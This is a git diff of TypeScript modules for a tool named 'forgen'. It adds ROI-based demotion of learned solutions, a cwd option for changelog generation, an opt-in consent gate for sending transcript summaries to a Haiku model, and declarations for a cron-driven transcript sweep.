  // H2: count newly extracted solutions (post-quality-gate) for Stop hook 알림.
642
734
  // solutionsBefore 스냅샷 vs 현재 디스크 상태 차분 → "N개 패턴 학습됨" 1줄.
643
735
  let extractedSolutionsCount = 0;
@@ -682,6 +774,18 @@ ${sanitizedSummary.slice(0, 4000)}
682
774
  catch (e) {
683
775
  process.stderr.write(`[forgen-gc] state prune failed: ${e instanceof Error ? e.message : String(e)}\n`);
684
776
  }
777
+ // ADR-010 W3-1 (F2): 세션 종료마다 ROI 재판정 — surfaced≫acted_on 솔루션
778
+ // 강등/격리. δ 가 100% injection 에서 나오므로(실측) 주입 품질 = 효과.
779
+ try {
780
+ const { updateRoiDemotions } = await import('../engine/roi-demotion.js');
781
+ const roi = updateRoiDemotions();
782
+ if (roi && (roi.demoted > 0 || roi.quarantined > 0)) {
783
+ process.stderr.write(`[forgen-roi] low-ROI solutions: ${roi.demoted} demoted, ${roi.quarantined} quarantined\n`);
784
+ }
785
+ }
786
+ catch (e) {
787
+ process.stderr.write(`[forgen-roi] update failed: ${e instanceof Error ? e.message : String(e)}\n`);
788
+ }
685
789
  // Step 6 (v0.4.1): rule lifecycle 자동 실행 — rule 의 violations/bypass/drift
686
790
  // 신호에 따른 자동 강등/승격. 이전에는 CLI (`forgen rule scan --apply`) 수동
687
791
  // 호출만 있어서 구매자가 몇 주 써도 rule 정비 안 됨 → 쓸모없는 rule 이 계속
@@ -721,6 +825,9 @@ ${sanitizedSummary.slice(0, 4000)}
721
825
  extractedSolutions: extractedSolutionsCount,
722
826
  promotedRules: promotedCount,
723
827
  userPatternFound, // 0.4.6 perf #12 — adaptive cooldown 시그널
828
+ // ADR-011 B수정: 이 run 시점의 프롬프트 수 기록 → 이후 barren backoff 결정 시
829
+ // 세션이 자라났으면(promptCount 증가) barren 을 무시하고 재추출하기 위함.
830
+ promptCount: Number(process.argv[5] ?? 0) || 0,
724
831
  noticeShown: false,
725
832
  }));
726
833
  }
@@ -4,4 +4,7 @@
4
4
  * Reads git log between the latest vX.Y.Z tag and HEAD, groups by
5
5
  * conventional commit type, and outputs a ready-to-paste changelog.
6
6
  */
7
- export declare function handleChangelog(): Promise<void>;
7
+ /** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
8
+ export declare function handleChangelog(opts?: {
9
+ cwd?: string;
10
+ }): Promise<void>;
@@ -14,23 +14,23 @@ const C = {
14
14
  green: isTTY ? '\x1b[32m' : '',
15
15
  yellow: isTTY ? '\x1b[33m' : '',
16
16
  };
17
- function getLatestTag() {
17
+ function getLatestTag(cwd) {
18
18
  try {
19
19
  return execFileSync('git', ['describe', '--tags', '--abbrev=0'], {
20
- encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'],
20
+ encoding: 'utf-8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
21
21
  }).trim();
22
22
  }
23
23
  catch {
24
24
  return null;
25
25
  }
26
26
  }
27
- function getCommitsSince(tag) {
27
+ function getCommitsSince(tag, cwd) {
28
28
  try {
29
29
  const args = tag
30
30
  ? ['log', `${tag}..HEAD`, '--oneline', '--no-merges']
31
31
  : ['log', '--oneline', '--no-merges', '-30'];
32
32
  return execFileSync('git', args, {
33
- encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'],
33
+ encoding: 'utf-8', timeout: 10000, stdio: ['pipe', 'pipe', 'pipe'], cwd,
34
34
  }).trim().split('\n').filter(Boolean);
35
35
  }
36
36
  catch {
@@ -55,9 +55,10 @@ const TYPE_ORDER = {
55
55
  chore: { label: 'Maintenance', order: 6 },
56
56
  other: { label: 'Other', order: 7 },
57
57
  };
58
- export async function handleChangelog() {
59
- const tag = getLatestTag();
60
- const rawCommits = getCommitsSince(tag);
58
+ /** `opts.cwd`: git 저장소 위치 (기본 process.cwd()). 테스트 fixture 용. */
59
+ export async function handleChangelog(opts = {}) {
60
+ const tag = getLatestTag(opts.cwd);
61
+ const rawCommits = getCommitsSince(tag, opts.cwd);
61
62
  if (rawCommits.length === 0) {
62
63
  console.log(`\n ${C.dim}No commits since ${tag ?? 'beginning'}.${C.reset}\n`);
63
64
  return;
@@ -0,0 +1,15 @@
1
+ export type ConsentSource = 'env-off' | 'env-on' | 'config' | 'default';
2
+ export interface ConsentState {
3
+ enabled: boolean;
4
+ source: ConsentSource;
5
+ }
6
+ /** 순수: env + config 값으로 Haiku 동의 해석 (테스트 가능). */
7
+ export declare function resolveHaikuConsent(env: {
8
+ no?: string;
9
+ on?: string;
10
+ }, configValue: boolean | undefined): ConsentState;
11
+ export declare function getHaikuConsentState(): ConsentState;
12
+ /** 러너가 Haiku 전송 전에 확인. */
13
+ export declare function isHaikuCompoundEnabled(): boolean;
14
+ /** 동의 저장(config.json 병합). env override 는 건드리지 않음. */
15
+ export declare function setHaikuCompoundConsent(enabled: boolean): void;
@@ -0,0 +1,48 @@
1
+ /**
2
+ * auto-compound Haiku 추출 동의 (ADR-012 D 티어드).
3
+ *
4
+ * 결정론 경로(교정→룰 승급·notepad 주입, egress 0)는 항상 동작하고, **Haiku 로 transcript
5
+ * 요약을 전송하는 추출만** 이 동의로 게이트한다(default opt-in=off). "우리는 당신 몰래
6
+ * API 로 보내지 않는다".
7
+ *
8
+ * 우선순위: FORGEN_NO_AUTO_COMPOUND(강제 off) > FORGEN_AUTO_COMPOUND(강제 on) >
9
+ * config(~/.forgen/config.json.autoCompoundHaiku) > default(false).
10
+ */
11
+ import * as fs from 'node:fs';
12
+ import * as path from 'node:path';
13
+ import { FORGEN_HOME } from './paths.js';
14
+ /** 순수: env + config 값으로 Haiku 동의 해석 (테스트 가능). */
15
+ export function resolveHaikuConsent(env, configValue) {
16
+ if (env.no === '1')
17
+ return { enabled: false, source: 'env-off' };
18
+ if (env.on === '1')
19
+ return { enabled: true, source: 'env-on' };
20
+ if (typeof configValue === 'boolean')
21
+ return { enabled: configValue, source: 'config' };
22
+ return { enabled: false, source: 'default' }; // ADR-012: opt-in
23
+ }
24
+ const CONFIG_PATH = path.join(FORGEN_HOME, 'config.json');
25
+ function readConfig() {
26
+ try {
27
+ return JSON.parse(fs.readFileSync(CONFIG_PATH, 'utf-8'));
28
+ }
29
+ catch {
30
+ return {};
31
+ }
32
+ }
33
+ export function getHaikuConsentState() {
34
+ const cfg = readConfig();
35
+ const configValue = typeof cfg.autoCompoundHaiku === 'boolean' ? cfg.autoCompoundHaiku : undefined;
36
+ return resolveHaikuConsent({ no: process.env.FORGEN_NO_AUTO_COMPOUND, on: process.env.FORGEN_AUTO_COMPOUND }, configValue);
37
+ }
38
+ /** 러너가 Haiku 전송 전에 확인. */
39
+ export function isHaikuCompoundEnabled() {
40
+ return getHaikuConsentState().enabled;
41
+ }
42
+ /** 동의 저장(config.json 병합). env override 는 건드리지 않음. */
43
+ export function setHaikuCompoundConsent(enabled) {
44
+ const cfg = readConfig();
45
+ cfg.autoCompoundHaiku = enabled;
46
+ fs.mkdirSync(FORGEN_HOME, { recursive: true });
47
+ fs.writeFileSync(CONFIG_PATH, `${JSON.stringify(cfg, null, 2)}\n`);
48
+ }
@@ -0,0 +1,60 @@
1
+ /** sweep 대상 후보의 최소 메타. */
2
+ export interface TranscriptMeta {
3
+ sessionId: string;
4
+ transcriptPath: string;
5
+ cwd: string;
6
+ mtimeMs: number;
7
+ promptCount: number;
8
+ }
9
+ export interface SweepOpts {
10
+ nowMs: number;
11
+ /** 이 시간 내 수정된 transcript 만 대상 (기본 24h). */
12
+ windowMs: number;
13
+ /** 세션이 이만큼 지나야 재-sweep (기본 2h). */
14
+ staleMs: number;
15
+ /** 최소 user 프롬프트 수 (기본 10). */
16
+ minPrompts: number;
17
+ /** 한 sweep 당 최대 세션 수 (비용 상한, 기본 5). */
18
+ maxPerRun: number;
19
+ }
20
+ export declare const DEFAULT_SWEEP_OPTS: Omit<SweepOpts, 'nowMs'>;
21
+ type SweepState = Record<string, {
22
+ sweptAt: number;
23
+ }>;
24
+ /**
25
+ * 순수 선택: 최근·충분한 대화·stale(오래 안 쓸린) 세션을, oldest-swept 우선으로 maxPerRun 만큼.
26
+ */
27
+ export declare function selectSweepCandidates(transcripts: TranscriptMeta[], sweepState: SweepState, opts: SweepOpts): TranscriptMeta[];
28
+ /** Claude projects 하위의 최근 transcript 를 열거해 메타 구성. */
29
+ export declare function enumerateTranscripts(windowMs: number, nowMs: number): TranscriptMeta[];
30
+ export interface SweepResult {
31
+ scanned: number;
32
+ eligible: number;
33
+ swept: string[];
34
+ stateSaveFailed?: boolean;
35
+ }
36
+ /**
37
+ * cron/CLI 진입점. dryRun 이면 실행 없이 후보만 보고.
38
+ * 무인 실행 안전장치: (1) 동시 실행 lock, (2) 실제 spawn('spawned') 만 sweptAt 기록,
39
+ * (3) state 저장 실패 시 경고 플래그.
40
+ */
41
+ export declare function runCompoundSweep(opts?: {
42
+ dryRun?: boolean;
43
+ } & Partial<Omit<SweepOpts, 'nowMs'>>): SweepResult;
44
+ /** crontab 라인 구성 (순수 — 테스트 가능). 경로는 shell-quote(리뷰 SEV-2). */
45
+ export declare function buildCronLine(nodePath: string, cliPath: string, logPath: string, schedule?: string): string;
46
+ /** 기존 crontab 에서 forgen 라인을 upsert/제거 (순수 — 테스트 가능). */
47
+ export declare function upsertCronText(existing: string, line: string | null): string;
48
+ export interface CronOpResult {
49
+ ok: boolean;
50
+ message: string;
51
+ }
52
+ export declare function installCron(): CronOpResult;
53
+ export declare function uninstallCron(): CronOpResult;
54
+ export declare function cronStatus(): CronOpResult;
55
+ /**
56
+ * CLI: forgen compound sweep [--dry-run|--install-cron|--uninstall-cron|--cron-status]
57
+ * [--window-hours N] [--stale-hours M] [--prune-removed [--apply] [--retention-days N]]
58
+ */
59
+ export declare function compoundSweepCli(args: string[]): void;
60
+ export {};